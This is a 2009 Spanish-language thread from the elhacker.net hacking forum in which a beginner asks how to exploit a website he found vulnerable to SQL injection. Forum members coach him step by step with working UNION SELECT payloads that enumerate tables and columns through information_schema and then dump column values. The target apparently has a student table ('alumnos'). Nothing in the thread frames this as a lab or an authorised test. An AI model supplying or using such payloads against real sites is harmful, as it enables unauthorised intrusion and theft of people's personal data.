Foro de elhacker.net

Seguridad Informática => Nivel Web => Mensaje iniciado por: emma93 en 27 Septiembre 2009, 20:02 pm



Título: duda sql injection
Publicado por: emma93 en 27 Septiembre 2009, 20:02 pm
bueno, resulta que tengo un problema.

soy nuevo en todo esto del hacking, digamos :P

y encontré una web vulnerable a sql, el tema es que le hago order by, para saber el número de columnas.

Llegué a la conclusión que tiene 12 columnas. Bien, ahora el tema es hacerle union select.

Hice -1+union+select+1,2,3,4,5,6,7,8,9,10,11,12

Pero tengo un problema, no se el nombre de las tablas ni de las columnas.

Estos nombres hay alguna forma de saberlos ? O es cuestión de probar ?

He probado con los mas comunes (user, users, usuarios, register, registers, members, member, usr, usrs, etc..) Pero no funca ninguno.

Espero que alguno me saque la duda, saludos !

:)


Título: Re: duda sql injection
Publicado por: Darioxhcx en 27 Septiembre 2009, 20:31 pm
mira la version()
si es mas de 5.* existe information_schema , si no , obligado a adivinar la tabla
donde printea en la web

group_concat(table_name),3,4,5,6....+from+information_schema.tables--

para la columna
group_concat(columns_name),3,4,5,6...from+information_schema.columns+where+table_name=char( tabla en ascii)--..

x hai kien dice yte sirve eso:xD
saludos


Título: Re: duda sql injection
Publicado por: emma93 en 27 Septiembre 2009, 21:58 pm
Bien, he podido sacar el nombre de todas las tablas mediante el information_schema.tables

Ahora he intentado con el concat(columns_name), pero no se que poner al final (donde dice char).

Que se supone que tengo que poner ahi ?

Espero que puedas ayudarme, y gracias.

Saludos :)


Título: Re: duda sql injection
Publicado por: xassiz_ en 27 Septiembre 2009, 22:08 pm
A ver, cada tabla tiene sus columnas.

Entonces tu eliges la tabla a la que le quieres ver las columnas.

Entonces imagina que el nombre de la tabla que quieres ver es usuarios.

Pues coges un conversor y lo pasas a ASCII y listo:

Código:
..group_concat(column_name)...+from+information_schema.columns+where+table_name=char(117,115,117,97,114,105,111,115)--

Y te muestra sus columnas :)


Título: Re: duda sql injection
Publicado por: emma93 en 27 Septiembre 2009, 22:46 pm
***.php?pagina=1&id=-1+union+select+1,2,3,4,group_concat(column_name),6,7,8,9,10,11,12+from+information_schema.columns+where+table_name=char(97,108,109,110,111,115)

He visto y el 3, el 5, y el 9 son vulnerables.

Intento hacerlo en el 3,5 o 9 y siempre me pasa lo mismo.

Tengo una tabla llamada alumnos. Pero al hacer esto no me devuelve las columnas. Lo unico que hace es que desaparezca el numero (vulnerable), sin aparecer ninguna información.

No se si me explico.


Título: Re: duda sql injection
Publicado por: xassiz_ en 27 Septiembre 2009, 23:01 pm
Tu pusiste "almnos" ;D

Prueba este:

Código:
-1+union+select+1,2,3,4,group_concat(column_name),6,7,8,9,10,11,12+from+information_schema.columns+where+table_name=char(97,108,117,109,110,111,115)--


Saludos ;)


Título: Re: duda sql injection
Publicado por: emma93 en 27 Septiembre 2009, 23:11 pm
Listo, ahi me devolvió las columnas de una determinada tabla :)

Ahora una última pregunta. Como hago para saber el valor de una columna ?


Título: Re: duda sql injection
Publicado por: 08l00D en 27 Septiembre 2009, 23:20 pm
Código:
-1+union+select+1,2,3,4,nombrecolumna,6,7,8,9,10,11,12+from+alumnos+limit+0,1--
si queres saber el valor de varias a la vez las concatenas...
Código:
-1+union+select+1,2,3,4,concat_ws(0x3a,nomnbrecolumna,otronombrecolumna,etc),6,7,8,9,10,11,12+from+alumnos+limit+0,1--



Título: Re: duda sql injection
Publicado por: xassiz_ en 28 Septiembre 2009, 20:46 pm
Código:
-1+union+all+select+0,1,concat(columna,0x3a,columna),3,4+from+tabla--

Suponiendo que salto el numero 2